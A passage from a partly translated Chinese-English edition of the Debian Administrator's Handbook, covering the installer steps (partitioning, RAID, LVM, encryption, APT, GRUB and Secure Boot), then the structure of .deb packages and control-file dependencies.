The bootloader is a low-level program that is responsible for booting the Linux kernel just after the BIOS passes off its control. To handle this task, it must be able to locate the Linux kernel to boot on the disk. On the i386 and amd64 architectures, the two most used programs to perform this task are LILO, the older of the two, and GRUB, its modern replacement. Isolinux and Syslinux are alternatives frequently used to boot from removable media.

每個選單條目隱藏一個特定的啟動指令列，在驗證和啟動前，可用TAB 鍵組態它。“說明” 選單款目顯示舊的命令列介面，可用 F1 至 F10 鍵顯示不同的說明畫面。祗在極為特殊的情況下才會用到此選單。

“專業” 模式 (從 “進階選項” 的選單進入) 詳列安裝過程的選項，以及設定依序自動安裝。小心應對，此繁瑣模式的多種組態極容易混淆。

The "rescue" mode, also accessible in the “Advanced options” menu, allows to recover a broken system or fix the bootloader. After presenting the first few screens of the installer, it will allow to enter a shell prompt in the file system you selected to perform any necessary actions, or allow to re-install the bootloader.

→ https://www.debian.org/releases/stable/amd64/ch08s06.en.html

圖形 4.1. 啟動畫面

Once booted, the installation program guides you step by step throughout the process. This section presents each of these steps in detail. Here we follow the process of an installation from an amd64 DVD-ROM (more specifically, the RC3 version of the installer for Bullseye); netinst installations, as well as the final release of the installer, may look slightly different. We will also address installation in graphical mode, but the only difference from “classic” (text-mode) installation is in the visual appearance.

4.2.2. 選定語系

安裝程式以英語開始，但第一步就允許用戶選取使用的語系。比如選取中文(繁體)，會提供完全中文的安裝介面 (同時把系統組態成中文(繁體))。這個選項也被用來定義在後續階段 (特別是鍵盤的佈局) 相關的預設選取。

基礎 使用鍵盤

Some steps in the installation process require you to enter information. These screens have several areas that may “have focus” (text entry area, checkboxes, list of choices, OK and Cancel buttons), and the TAB key allows you to move from one to another.

在圖形介面，可以使用滑鼠選擇。

圖形 4.2. 選定語系

4.2.3. 選擇國家

第二步是選擇國家。和語系關連，根據此資訊啟用最適合的鍵盤。也影響時區的組態。在美國，建議使用標準的 QWERTY 鍵盤，以及恰當的時區。

圖形 4.3. 選擇國家

4.2.4. 選擇鍵盤布局

建議的 “美國標準” 鍵盤對應於常見的 QWERTY 布局。

圖形 4.4. 選擇鍵盤

4.2.5. 偵測硬體

竹竹安裝程式偵測硬體，並嚐試辨識使用的 CD-ROM 磁碟機，以備讀取其內容。下載對應的硬體套件的驅動模組，“掛載” CD-ROM 以便讀取其內容。前幾項步驟包括在 CD 的啟動映像裡，BIOS 從 CD 啟動的時候加載進了記憶體的一個受限大小的檔案。

The installer can work with the vast majority of drives, especially standard ATAPI peripherals (sometimes called IDE and EIDE). However, if detection of the CD-ROM reader fails, the installer offers the choice to load a kernel module (for instance, from a USB key) corresponding to the CD-ROM driver.

4.2.6. 載入套件

有了 CD 後，安裝器載入所有必要的檔案以備使用。包括其他硬體所需的驅動程式 (尤其是網 卡)，以及其他。

4.2.7. 偵測網路硬體

This automatic step tries to identify the network card and load the corresponding module. If automatic detection fails, you can manually select the module to load. If no module works, it is possible to load a specific module from a removable device. This last solution is usually only needed if the appropriate driver is not included in the standard Linux kernel, but available elsewhere, such as the manufacturer's website or in firmware archives/packages.

→ https://www.debian.org/devel/debian-installer/#firmware_nonfree

此步驟必須成功才能安裝 netinst，因為需從網路下載e Debian 套件。

4.2.8. 組態網路

為了儘量自動化，安裝器試圖以 DHCP (IPV4) 與 IPV6 網路發現自動組態網路。若不成功，還有其他選擇：正常的 DHCP 組態、宣告機器名稱以 DHCP 組態、或設定固定網路組態。

最後的選項需要一個 IP 位址、子網路遮罩、閘道用 IP 位址、機器名稱、與網域名稱。

技巧 無 DHCP 組態

If the local network is equipped with a DHCP server that you do not wish to use, because you prefer to define a static IP address for the machine during installation, you can add the netcfg/use_dhcp=false option when booting from the installation media. You just need to go to the desired menu entry by pressing the TAB key and add the desired option before pressing the Enter key.

當心 別湊合

許多區域網路的基於這樣一個隱藏式的假設，即所有的機器都是可以信任的，一台電腦的配置的導致的問題，往往會影響整個網路。因此，在徵得你的系統管理員的設定認定之前,不要把你的機器連到網路上（例如 IP 位址，網路遮罩和廣播位址）。

4.2.9. 管理員密碼

The super-user root account, reserved for the machine's administrator, is automatically created during installation; this is why a password is requested. The installer also asks for a confirmation of the password to prevent any input error, which would later be difficult to amend. Note that you can leave both fields empty if you want the root account to be disabled. In that case, the login for the root user will be deactivated and the first regular user — that will be created by the installer in the next step — will have administrative rights through sudo (see 節 8.9.4, “共享管理員權限”).

安全 管理者密碼

The root user's password should be long (12 characters or more) and impossible to guess. Indeed, any computer (and a fortiori any server) connected to the Internet is regularly targeted by automated connection attempts with the most obvious passwords. Sometimes it may even be subject to dictionary attacks, in which many combinations of words and numbers are tested as password. Avoid using the names of children or parents, dates of birth, etc.: many of your co-workers might know them, and you rarely want to give them free access to the computer in question.

這些設定規則同樣適用於其他使用者的密碼設定，但沒有管理員權限的使用者受到的危害程度較弱。

如果對設定密碼沒肴特定想法，請儘量用密碼產生器，比如 pwgen (套件同名)。

圖形 4.5. 管理員密碼

4.2.10. 新增第一個使用者

Debian 也規定了新增標準使用者帳號的原則，避免管理員以根使用者的權限工作。預防的原則是讓每個工作都在最低權限下運作，從而限制由人為錯誤造成的損害。這就是安裝器詢問新增第一個使用者的名稱、使用者名稱、及其密碼 (兩次，以避免錯誤)。

圖形 4.6. 第一個使用者名稱

4.2.11. 組態時鐘

可以上網時，系統內部時鐘將從 NTP 伺服器更新 (以拍攝方式) 其時間。在第一次開機的時候更正記錄裡的時間印記。一段時間後，初始安裝後需設定 NTP daemon (見 節 8.9.2, “時間同步”)。

4.2.12. 偵測磁碟與其他設備

此步驟自動偵測安裝 Debian 的硬式磁碟機。下個步驟是：分區。

4.2.13. 開始分區的工具

文化 分區的作用

分割，安裝中不可或缺的一部分，根據儲存的資料與電腦的用途，分割硬式磁碟機的可用空間 (每個次細分稱為分割區)。此步驟也包括選取檔案系統。所有的選取都對效能、資料安全、與伺服器管理有着一定的影響。

分割是新手的盲點。分割是把磁碟設定成多個區塊 (或 “分區”) 儲存 Linux 檔案系統與虛擬記憶體 (交換)。想要與已存在的其他作業系統併存更是複雜。本質上，需確定不改變區分表 (或不變更就不會造成損害)。

幸運地，分割軟體有個 “導引” 模式可用 — 大部份情況下，祗需驗證軟體的建議。

圖形 4.7. 選擇分割模式

The first screen in the partitioning tool offers the choice of using an entire hard drive to create various partitions. For a (new) computer which will solely use Linux, this option is clearly the simplest, and you can choose the option “Guided - use entire disk”. If the computer has two hard drives for two operating systems, setting one drive for each is also a solution that can facilitate partitioning. In both of these cases, the next screen offers to choose the disk where Linux will be installed by selecting the corresponding entry (for example, “SCSI1 (0,0,0) (sda) - 53.7 GB ATA QEMU HARDDISK”). You then start guided partitioning.

圖形 4.8. 引導分割用的磁碟

引導分區也可設定 LVM 邏輯捲軸管理而不是分區 (見下方)。其他的操作都相同，就不再一一說明選項 “引導 - 使用整顆磁碟並設定 LVM” (編碼或無)。

在其他情況下，當 Linux 必須與其他作業系統併存時，必須選擇人工分割作業。

4.2.13.1. 引導分割

引導分割工具提供三種分割的方法，適用於不同的用途。

圖形 4.9. 引導分割

第一個方法為 “所有檔案在同一個分區”。把整個 Linux 系統樹儲在一個檔案系統，放在根 / 資料夾內。這個簡單強大的分割方式適用在個人或單一使用者系統。事實上，產生兩個分區：第一個儲存整個系統，第二個是虛擬記憶體 (交換)。

The second method, “Separate /home partition”, is similar, but splits the file hierarchy in two: one partition contains the Linux system (/), and the second contains “home directories” (meaning user data, in files and subdirectories available under /home/).

最後一個分割的方法，稱為 “獨立 /home、/var、與 /tmp 分區”，適用於伺服器與多使用者系統。把檔案分為多個分區：在根 (/) 與使用者帳號 (/home/) 分區外，還有分區供伺服器軟體資料 (/var/), and temporary files (/tmp/) 使用。這種做法的優點很多。使用者無法消耗所有的磁碟空間以鎖定伺服器 (祗能填滿 /tmp/ 與 /home/)。守護資料 (尤其是記錄) 不會阻塞系統的其他部份。

基本 選擇檔案系統

A filesystem defines the way in which data is organized on the hard drive. Each existing filesystem has its merits and limitations. Some are more robust, others more effective: if you know your needs well, choosing the most appropriate filesystem is possible. Various comparisons have already been made; it seems that ReiserFS is particularly efficient for reading many small files; XFS, in turn, works faster with large files. Ext4, the default filesystem for Debian, is a good compromise, based on the three previous versions of filesystems historically used in Linux (ext, ext2 and ext3). Ext4 overcomes certain limitations of ext3 and is particularly appropriate for very large capacity hard drives. Another option would be to experiment with the very promising btrfs, which includes numerous features that require, to this day, the use of LVM and/or RAID.

日誌文件系統 (例如 ext3、ext4、btrfs、reiserfs、或 xfs) 以自己特有的方法在不必分析整個磁碟的前提下恢復破損的檔案 (如同 ext2 系統)。其原理是在實際執行檔案作用前於日誌中描述作業的內容。若作業失敗，可以從日誌中 “恢復” 檔案。反過來說，更新日誌中發生錯誤，祗是簡單地忽略該次改變；可能遺失寫入的資料，但磁碟的資料並未改變，仍然緊密地連在一起。其實，與檔案系統的交換機制無異。

選定分區的方式後，軟體開始計算所需的空間，並顯示在螢幕上；使用者可以按著自己的需要調整它。如果不滿意預設的檔案系統 (ext4) 可以在這裡選擇其他的檔案系統。大部份情況下，建議的分區是合理的且可被接受，接著就按 “結束分割並寫入磁碟”。

圖形 4.10. 驗證分割

4.2.13.2. 手動分割

手動分割的彈性更大，使用者自行決定各分區的功用及大小。而且，使用軟體 RAID 時更不可避免地採用此模式。

實務 縮小視窗系統的分區

在已有的作業系統 (視窗或其他) 內安裝 Debian，必須還有尚未使用的磁碟空間才能新增給 Debian 用的分區。大部份情況下，需縮小視窗的分區並重新利用空出來的空間。

The Debian installer allows this operation when using the manual mode for partitioning. You only need to choose the Windows partition and enter its new size (this works the same with both unencrypted FAT and NTFS partitions).

If Windows is using BitLocker-encrypted partitions, the steps to resize them requires to use the BitLocker Management together with the Windows Disk Management tool.

第一個畫面顯示可用的磁碟、其分區、與還未分割的可自由使用的空間。可自行選擇；按 Enter 鍵則出現可能的選項清單。

您可選擇清除所有分區。

選定未使用空間後，可以手動新增分區。也可使用適用於已有其他作業系統的導引分割，以標準方式分割出給 Linux 使用的空間。導引分割詳情見 節 4.2.13.1, “引導分割”。

圖形 4.11. Editing/creating a partition

基本 掛載點

掛載點是在選定分區的樹狀資料夾，放置檔案系統的內容。因此，掛在 /home/ 的分區是置放使用者資料的資料夾。

名稱為 “/” 的資料夾，就是檔案樹的 根，其分區放置 Debian 系統。

基本 虛擬記憶體，交換

Virtual memory allows the Linux kernel, when lacking sufficient memory (RAM), to free a bit of memory by storing the parts of the RAM that have been inactive for some time on the swap partition of the hard disk. It is also fundamental to the "Suspend" and "Hibernate" features of a system.

To simulate the additional memory, Windows uses a swap file that is directly contained in a filesystem. Conversely, Linux uses a partition dedicated to this purpose, hence the term “swap partition”. But it is also able to use a swap file as well.

選擇分區時，可以指定其為：

- 格式化並納入指定的掛載點；

- 做為交換分區；

- 做為 “加密的實體卷” (保護特定分區的隱私資料，見下文)；

- 做為 “LVM 實體卷” (在此章稍後討論此概念詳情)；

- 做為 RAID 設備 (參見本章下文)；

- 也可選擇不用它，放著不改變它。

4.2.13.3. 組態多磁碟設備 (軟體式 RAID)

Some types of RAID allow the duplication of information stored on hard drives to prevent data loss in the event of a hardware problem affecting one of them. Level 1 RAID keeps a simple, identical copy (mirror) of a hard drive on another drive, while level 5 or 6 RAID splits redundant data over several disks, thus allowing the complete reconstruction of a failing drive.

僅在此描述最簡單的 RAID 1。第一步是在不同的磁碟建立兩個大小相同的分區，並指定為 “RAID 實體卷”。

必須在分區工具中選擇 “組態軟體式 RAID” 把兩個分區合為一個虛擬磁碟並在組態畫面選擇 “新增 MD 設備”。接著回答若干與此新設備有關的問題。第一個問題有關 RAID 的層次，現在選用 “RAID1”。第二個問題是使用的設備數量 — 本例是 2，需要被納入 MD 設備的分區數。第三個問題是備用設備數 — 0；目前沒有計畫加入其他磁碟取代可能出包的磁碟。最後一個問題是選擇 RAID 設備的分區 — 供此用途的是 2 (確認祗選擇標示為 “raid” 的分區)。

回到主選單，出現新增的虛擬 “RAID” 磁碟。此磁碟祗有一個不能刪除的分區，但可選擇其用途 (如同其他的分區)。

RAID 其他功能的詳情，請參見 節 12.1.1, “軟 RAID”。

4.2.13.4. 組態邏輯捲軸管理器 (LVM)

LVM 允許您從新增合併多個磁碟的 “虛擬” 分區。其優點有二：分區的容量不受個別磁碟的限制，以及任何時間均可重組現有的分區，通常在運行一段時間後才有此需要。

LVM 使用特別的術語：虛擬分區是 “邏輯捲”，它是 “捲群組” 的一部份，或與多個 “實體捲” 相關。這些術語事實上對應於 “真實的” 分區 (或軟體 RAID 設備)。

此技術工作的方式很單純：每個實體或邏輯捲分為相同容量的塊，對應至 LVM。新增磁碟就是新增實體捲，新塊關連至任意的捲群組。可以擴充捲群組內的分區以得到更多空間。

分割工具以幾個步驟組態 LVM。首先在現有磁碟新增分區 “LVM 實體捲” 分區。選擇 “組態邏輯捲管理 (LVM)” 以啟動 LVM，就能關聯至現有的實體捲。最後，在此捲群組內新增邏輯捲。自動分割系統可以自動執行這些工作。

在分割選單內，每個實體捲顯示為一個不能刪除的分區磁碟，但可任意使用。

LVM 的用法詳述於 節 12.1.2, “LVM（邏輯卷管理）”。

4.2.13.5. 設定加密分區

為了保障資料的保密，電腦或磁碟遺失或失竊時，必須對部份分區加密。此功能係對檔案系統加密，以 LVM 為例，Linux (及特定的 dm-crypt 驅動程式) 採用 Device Mapper 新增虛擬分區 (保護其內容)，係在分區之下以加密形式儲存資料 (感謝 LUKS，即 Linux Unified Key Setup 的縮寫，它是一種標準格式，以加密方式儲存資料及加密演算法的元資訊標準格式)。

安全 加密交換分區

When an encrypted partition is used, the encryption key is stored in memory (RAM). Since retrieving this key allows the decryption of the data, it is of utmost importance to avoid leaving a copy of this key that would be accessible to the possible thief of the computer or hard drive, or to a maintenance technician. This is, however, something that can easily occur with a laptop, since when hibernating the contents of RAM is stored on the swap partition. If this partition isn't encrypted, the thief may access the key and use it to decrypt the data from the encrypted partitions. This is why, when you use encrypted partitions, it is imperative to also encrypt the swap partition!

使用加密分區但未加密交換分區時，Debian 安裝器將提出警示。

新增加密分區時，必須先指定可用的分區。就是指定一個分區，做為 “加密的實體捲”。分割有實體捲的磁碟後，選擇 “組態加密捲”。軟體將以隨機的資料起始實體捲 (讓旁人難以取得實際的資料)，並要求鍵入 “加密句子”，做為每次開機進入加密分區的鑰匙。完成此步驟後，回到分割工具選單，出現標記為 “加密捲” 的新分區，就可以像其他分區一樣組態它。大部份情況下，此分區用於 LVM 實體捲以相同的鑰匙保護其他的分區 (LVM 邏輯捲)，包括交換區 (見專欄 安全 加密交換分區)。

4.2.14. 安裝基本系統

此步驟不需要使用者的參與，純粹安裝 Debian 的 “基本系統” 套件。包括 dpkg 與 apt 工具，用於管理 Debian 套件，以及啟動系統與起始所需的公用程式。

圖形 4.12. 安裝基本系統

4.2.15. 組態套件管理器 (apt)

In order to be able to install additional software, APT needs to be configured and told where to find Debian packages. This step is as automated as possible.

說明 光碟機內的 Debian CD-ROM

安裝器若偵測到光碟機內已放置 Debian 安裝光碟，則不需要組態 APT 去讀取網路的套件：APT 自動組態讀取該光碟。若光碟不是成套完整的，則軟體會提供 “explore” 其他光碟以便取得所有套件。

If getting packages from the network is requested, the installer allows to choose a server from which to download these packages, by choosing first a country, then a mirror available in that country. A mirror is a public server hosting copies of all the files of the Debian master archive.

圖形 4.13. 選擇 Debian 鏡射站

最後，提示使用 HTTP 代理伺服器 。若無，則直接近用網際網路。若鍵入 http://proxy.falcot.com:3128，則 APT 將使用 Falcot proxy/cache，就是 “Squid” 程式。經由相同網路的另部機器檢查其瀏覽器的組態即可找到這些設定。

The files Packages.xz and Sources.xz are then automatically downloaded to update the list of packages recognized by APT.

基本 HTTP 代理伺服器

HTTP 代理伺服器改變網路使用者的 HTTP 請求。有時加速下載檔案速度 (我們稱它為代理/快取)。有時，祗是近用外部網頁伺服器 ；在此情況下必須在安裝時回答問題才能下載 Debian 套件。

Squid 是 Falcot 公司製作的軟體用以提供該等服務。

4.2.16. Debian 套件流行競賽

Debian 系統有個稱為流行競賽 popularity-contest 的套件，其目的是計算套件的使用程度。每週，此程式蒐集被安裝與使用的套件資訊，並以匿名方式將此資訊送給 Debian 計畫伺服器。以此資訊決定各套件的相對重要性，給予權重進而影響其優先度。特別的是，把最 “流行” 的套件納入安裝 CD-ROM，供給那些不想下載也不想購買整套 CD 的使用者。

此套件祗是隨選啟用，尊重使用者的隱私。

4.2.17. 選擇安裝的套件

The following step allows you to choose the purpose of the machine in very broad terms; the twelve suggested tasks correspond to lists of packages to be installed. The list of the packages that will actually be installed will be fine-tuned and completed later on, but this provides a good starting point in a simple manner.

This step can require a full set of installation media or an internet connection and a working mirror setup as described above.

Some packages are also automatically installed according to the hardware detected (thanks to the program discover-pkginstall from the discover package).

圖形 4.14. 安裝選擇

4.2.18. 安裝 GRUB 啟動程式

啟動程式是 BIOS 啟用的第一個程式。載入 Linux 核心於記憶體並執行它。通常以選單方式允許使用者選擇載入的核心與啟動的作業系統。

注意 啟動程式與雙重開機

在 Debian 的安裝過程裡此步驟偵測電腦是否已安裝其他作業系統，在啟動選單裡自動加入對應的條目，可是有些安裝程式不會這麼做。

In particular, if you install (or reinstall) Windows thereafter, the bootloader will be erased. Debian will still be on the hard drive, but will no longer be accessible from the boot menu (except for Windows 10, where it will still be accessible through the Windows recovery console). You would then have to boot the Debian installation system in rescue mode to set up a less exclusive bootloader. This operation is described in detail in the installation manual.

→ https://www.debian.org/releases/stable/amd64/ch08s06

GRUB 預設的選單，包括所有安裝的 Linux 核心，以及偵測到的其他作業系統。所以應該接受主安裝記錄的內容。若較新的核心故障或無法適用應體時，保留的舊核心就能派上用場，所以應保留舊版本的核心。

GRUB is the default bootloader installed by Debian thanks to its technical superiority: it works with most filesystems and therefore doesn't require an update after each installation of a new kernel, since it reads its configuration during boot and finds the exact position of the new kernel. Version 1 of GRUB (now known as “Grub Legacy”) couldn't handle all combinations of LVM and software RAID; version 2, installed by default, is more complete. While there may still be situations where it is preferable to install LILO (another bootloader); the Debian installer does no longer support the installation of it.

It is worth noting that GRUB is not a single bootloader, it is more like a collection of bootloaders suited for different cases. The numerous binary packages built out of the GRUB source package reflect that: grub-efi-amd64 is for 64-bit PC booting in UEFI mode, grub-efi-ia32 is for 32-bit PC booting in UEFI mode, grub-pc is for PC booting in BIOS mode, grub-uboot for ARM computers, etc.

組態 GRUB 的詳情，請參見 節 8.8.2, “GRUB 2 組態”。

CULTURE Secure Boot and the shim bootloader

Secure Boot is a technology ensuring that you run only software validated by your operating system vendor. To accomplish its work each element of the boot sequences validates the next software component that it will execute. At the deepest level, the UEFI firmware embeds cryptographic keys provided by Microsoft to check the bootloader's signature, ensuring that it is safe to execute. Since getting a binary signed by Microsoft is a lengthy process, Debian decided to not sign GRUB directly. Instead it uses an intermediary bootloader called shim, which almost never needs to change, and whose only role is to check Debian's provided signature on GRUB and execute GRUB. To run Debian on a machine having Secure Boot enabled, the shim-signed package must be installed.

Down the stack, GRUB will do a similar check with the kernel, and then the kernel might also check signatures on modules that get loaded. The kernel might also forbid some operations that could alter the integrity of the system.

Debian 10 (Buster) was the first release supporting Secure Boot. Before, you had to disable that feature in the system setup screen offered by the BIOS or the UEFI.

4.2.19. 安裝完成並重開機

安裝已完成，請移除 CD-ROM 並重開機。

圖形 4.15. Installation complete

4.3. 首次啟動之後

沒有任何明確的選擇 (或使用 “GNOME” 選項) 就啟動 “Debian 桌面環境”，電腦會顯示 gdm3 登入管理員。

圖形 4.16. 首次啟動

已建立的使用者可以登錄並立即開始工作。

4.3.1. 安裝其他軟體

安裝的套件符合當初選定的，但不見得符合實際的需要。在此情況下，需使用套件管理工具微調選定的安裝套件。最常用的工具 (已安裝於 “Debian 桌面環境”) 是 apt (從命令進入) 與 synaptic (位於選單內的 “Synaptic 套件管理器”)。

為了保法安裝程式的一致性，Debian 新增特定用途的 “任務” (郵件伺服器、檔案伺服器等)。在安裝過程中曾經選擇過，現在還可利用套件管理工具 aptitude (其任務列在不同的區塊) 與 synaptic (經由選單 Edit → Mark Packages by Task…)等，再選擇一次。

Aptitude 是 APT 的全螢幕文字模式。允許使用者依類別瀏覽可用的套件清單 (已安裝或待安裝套件，依任務或區塊分類)，並檢視相關的資訊 (相依性、衝突、說明等)。每個套件可標示為 “安裝” (可以安裝，+ 鍵) 或 “移除” (可移除，- 鍵)。按. All of these operations will be conducted simultaneously once you've confirmed them by pressing the g 鍵(“g” 表示 “go!”) 確認後就會同時執行該等作業。若您忘了曾安裝的套件，別擔心；祗要在安裝完成後再執行 aptitude 命令即可。

技巧 Debian 為非英語系使用者著想

若干任務專門用於在地化系統為英語以外的語系。包括翻譯文件、字典、與供其他語系使用的套件。安裝過程已選擇非英語的語系，則自動執行適當的任務。

Of course, it is possible not to select any task to be installed. In this case, you can manually install the desired software with the apt or aptitude command (which are both accessible from the command line). The packages can be found using the apt-cache search task keyword command.

術語 套件相依性、衝突

在 Debian 的套件管理中，“相依性” 係指另個套件中的某個功能恰是滿足本套件所需。反過來說，“衝突” 係指不能同時併存的兩個套件。

這些概念的詳情在 章 5, 套件系統：工具與基本原則。

4.3.2. 系統升級

A first apt upgrade (a command used to automatically update installed programs) is generally required, especially for possible security updates issued since the release of the latest Debian stable version. These updates may involve some additional questions through debconf, the standard Debian configuration tool. For further information on these updates conducted by apt, please refer to 節 6.2.3, “系統升級”.

章 5. 套件系統：工具與基本原則

身為 Debian 系統管理員，經常處理 .deb 套件，因為含有一致的功能單元 (應用程式、文件等)，強化安裝與維護工作。所以能夠瞭解它們是什麼與如何使用是應該的。

This chapter describes the structure and contents of “binary” and “source” packages. The former are files directly usable by dpkg, while the latter contain the source code, as well as instructions for building binary packages.

5.1. 執行檔套件的結構

The Debian package format is designed so that its content may be extracted on any Unix system that has the classic commands ar, tar, and xz or sometimes gzip or bzip2. This seemingly trivial property is important for portability and disaster recovery.

Imagine, for example, that you mistakenly deleted the dpkg program, and that you could thus no longer install Debian packages. dpkg being a Debian package itself, it would seem your system would be done for... Fortunately, you know the format of a package and can therefore download the .deb file of the dpkg package and install it manually (see sidebar 工具 dpkg、APT 與 ar). If by some misfortune one or more of the programs ar, tar or gzip/xz/bzip2 have disappeared, you will only need to copy the missing program from another system (since each of these operates in a completely autonomous manner, without dependencies, a simple copy will suffice). If your system suffered some even more outrageous fortune, and even these don't work (maybe the deepest system libraries are missing?), you should try the static version of busybox (provided in the busybox-static package), which is even more self-contained, and provides subcommands such as busybox ar, busybox tar and busybox xz.

In case of a misfortune you better also have a backup of your system (see 節 9.10, “備份”).

工具 dpkg、APT 與 ar

dpkg is the program that handles .deb files (binary packages), notably extracting, analyzing, and unpacking them.

APT (the abbreviation of "Advanced Packaging Tool") is a group of programs that allows the execution of higher-level modifications to the system: installing or removing a package (while keeping dependencies satisfied), updating and upgrading the system, listing the available packages, etc.

As for the ar program, provided by the binutils package, it allows handling files of the same name:

- ar t archive displays the list of files contained in such an archive,

- ar x archive extracts the files from the archive into the current working directory,

- ar d archive file deletes a file from the archive, etc.

Its man page ar(1) documents all its other features. ar is a very rudimentary tool that a Unix administrator would only use on rare occasions, but admins routinely use tar, a more evolved archive and file management program. This is why it is easy to restore dpkg in the event of an erroneous deletion. You would only have to download the Debian package and extract the content from the data.tar.xz archive in the system's root (/):

# ar x dpkg_1.20.9_amd64.deb

# tar -C / -p -xJf data.tar.xz

基礎 Man 手冊註記

初學者不太容易找到 “ar(1)” 的參考資料。實際上祗需進入 man 頁面第 1 區的 ar。

有時，此註記也用來消除模棱兩可，例如 printf 命令可能指的是 printf(1) 與 C 程式語言的 printf 函數，指的是 printf(3)。

章 7, 解決問題與找到相關資訊 討論手冊的詳情 (見 節 7.1.1, “手冊頁面”)。

查看 .deb 檔案的內容：

$ ar t dpkg_1.20.9_amd64.deb

debian-binary

control.tar.gz

data.tar.xz

$ ar x dpkg_1.20.9_amd64.deb

$ ls

control.tar.gz  data.tar.xz  debian-binary  dpkg_1.20.9_amd64.deb

$ tar tJf data.tar.xz | head -n 16

./

./etc/

./etc/alternatives/

./etc/alternatives/README

./etc/cron.daily/

./etc/cron.daily/dpkg

./etc/dpkg/

./etc/dpkg/dpkg.cfg

./etc/dpkg/dpkg.cfg.d/

./etc/logrotate.d/

./etc/logrotate.d/alternatives

./etc/logrotate.d/dpkg

./sbin/

./sbin/start-stop-daemon

./usr/

./usr/bin/

$ tar tJf control.tar.xz

./

./conffiles

./control

./md5sums

./postrm

$ cat debian-binary

2.0

如您所見，Debian 套件的 ar 包括以下三個檔案：

debian-binary

This is a text file which simply indicates the version of the .deb file package format version. In Debian Bullseye it is still version 2.0.

control.tar.xz

This archive file contains all of the available meta-information, like the name and version of the package as well as some scripts to run before, during or after (un-)installation of it. Some of the meta-information allows package management tools to determine if it is possible to install or uninstall it, for example according to the list of packages already on the machine, and if files shipped have been modified locally.

data.tar.xz, data.tar.bz2, data.tar.gz

This archive contains all of the files to be extracted from the package; this is where the executable files, libraries, documentation, etc., are all stored. Packages may use different compression formats, in which case the file will be named differently for xz, bzip2 or gzip.

5.2. 軟體套件中介資訊

The Debian package is not only an archive of files intended for installation. It is part of a larger whole and describes its relationship with other Debian packages (requisites, dependencies, conflicts, suggestions). It also provides scripts that enable the execution of commands at different stages in the package's lifecycle (installation, upgrade, removal). These data are used by the package management tools, but are not part of the packaged software; they are, within the package, what is called its “meta-information” - information about other information.

5.2.1. 描述：control 檔案

This file uses a structure similar to email headers (as defined by RFC 2822) and is fully described in the Debian Policy and the manual pages deb-control(5) and deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

For example, for apt, the control file looks like the following:

$ apt-cache show apt

Package: apt

Version: 2.2.4

Installed-Size: 4337

Maintainer: APT Development Team <deity@lists.debian.org>

Architecture: amd64

Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~)

Provides: apt-transport-https (= 2.2.4)

Depends: adduser, gpgv | gpgv2 | gpgv1, libapt-pkg6.0 (>= 2.2.4), debian-archive-keyring, libc6 (>= 2.15), libgcc-s1 (>= 3.0), libgnutls30 (>= 3.7.0), libseccomp2 (>= 2.4.2), libstdc++6 (>= 9), libsystemd0

Recommends: ca-certificates

Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base

Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10)

Description-en: commandline package manager

This package provides commandline tools for searching and

managing as well as querying information about packages

as a low-level access to all features of the libapt-pkg library.

.

These include:

* apt-get for retrieval of packages and information about them

from authenticated sources and for installation, upgrade and

removal of packages together with their dependencies

* apt-cache for querying available information about installed

as well as installable packages

* apt-cdrom to use removable media as a source for packages

* apt-config as an interface to the configuration settings

* apt-key as an interface to manage authentication keys

Description-md5: 9fb97a88cb7383934ef963352b53b4a7

Tag: admin::package-management, devel::lang:ruby, hardware::storage,

hardware::storage:cd, implemented-in::c++, implemented-in::perl,

implemented-in::ruby, interface::commandline, network::client,

protocol::ftp, protocol::http, protocol::ipv6, role::program,

scope::application, scope::utility, suite::debian, use::downloading,

use::organizing, use::playing, use::searching, works-with-format::html,

works-with::audio, works-with::software:package, works-with::text

Section: admin

Priority: required

Filename: pool/main/a/apt/apt_2.2.4_amd64.deb

Size: 1491328

MD5sum: 24d53e8dd75095640a167f40476c0442

SHA256: 75f07c4965ff0813f26623a1164e162538f5e94defba6961347527ed71bc4f3d

Let us have a closer look at the purpose of some of the fields listed by the previous command.

基礎 RFC — 網際網路標準

RFC is the abbreviation of “Request For Comments”. An RFC is generally a technical document that describes what will become an Internet standard. Before becoming standardized and frozen, these standards are submitted for public review (hence their name). The IETF (Internet Engineering Task Force) decides on the evolution of the status of these documents (proposed standard, draft standard, or standard).

RFC 2026 定義網際網路協定標準化的程序。

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. 相依性：依賴 欄位

The dependencies are defined in the Depends field in the package header. It is a list of conditions to be met for the package to work correctly. This information is used by tools such as apt in order to install the required libraries, tools, drivers, etc., in appropriate versions fulfilling the dependencies of the package to be installed. For each dependency it is possible to restrict the range of versions that meet that condition. In other words, it is possible to express the fact that we need the package libc6 in a version equal to or greater than “2.15” (written “libc6 (>= 2.15)”). Version comparison operators are as follows:

- <<：小於；

- <=：小於或等於；

- =：等於 (“2.6.1” 不等於 “2.6.1-1”)；

- >=：大於或等於；

- >>：大於。

In a list of conditions to be met, the comma serves as a separator. It must be interpreted as a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive “or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since the Depends field does not tolerate parentheses that change the order of priorities between the logical operators “or” and “and”. It would thus be written A | B, A | C.

→ https://www.debian.org/doc/debian-policy/ch-relationships.html#syntax-of-relationship-fields

The dependencies system is a good mechanism for guaranteeing the operation of a program, but it has another use with “meta-packages”. These are empty packages that only describe dependencies. They facilitate the installation of a consistent group of programs pre-selected by the meta-package maintainer; as such, apt install meta-package will automatically install all of these programs using the meta-package's dependencies. The gnome, kde-full and linux-image-amd64 packages are examples of meta-packages.

DEBIAN 政策 推薦、建議、與 強化 欄位

推薦 與 建議 欄位描述非強制性的相依。“推薦” 相依性是最重要的，改善套件提供的功能但不是運作的必要部份。“建議” 相依性是次重要的，指出套件可能補充與增加其功能，但仍可以在不安裝其他套件的情況安裝它。

